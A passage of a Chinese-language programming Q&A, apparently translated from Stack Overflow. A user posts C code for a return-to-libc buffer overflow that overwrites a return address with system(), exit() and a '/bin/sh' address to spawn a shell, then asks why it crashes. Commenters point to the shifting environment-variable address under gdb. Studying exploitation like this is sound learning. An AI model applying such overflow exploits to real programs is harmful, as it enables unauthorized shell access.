我需要编写一个利用“return to libc缓冲区溢出”的程序。当执行时,它会干净地退出并打开一个SHELL提示符。该程序在bash终端中执行。以下是我的C代码:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
使用 gdb,我已经确定了以下内容:
- "system" 函数的地址为:0x4c4ab0
- "exit" 函数的地址为:0x4ba520
- 字符串 "/bin/sh" 存储在内存中的位置为:0xbfffff13
我还知道,使用 gdb,将 32 个"A" 插入我的缓冲变量将覆盖返回地址。因此,考虑到 system 调用需要 4 个字节,我从第28个字节开始填充我的内存 "泄漏"。在第 28 个字节处,我开始我的 system 调用,然后是 exit 调用,最后是添加我的 "/bin/sh" 内存位置。
然而,当我运行程序时,我得到以下结果:
sh: B���: command not found
Segmentation fault (core dumped)
我真的不确定我做错了什么...
[编辑]: 我通过导出环境变量获得了字符串"/bin/sh":
export MYSHELL="/bin/sh"
"/bin/sh"
是否以\0
结尾? - us2012gdb
之前和之后,/bin/sh
的地址会发生变化。在libc中直接查找/bin/sh
并使用它。 - ouahgdb
下也是不同的。你的MYSHELL
变量的堆栈地址在不使用gdb
时很可能与在使用gdb
时不同。 - ouah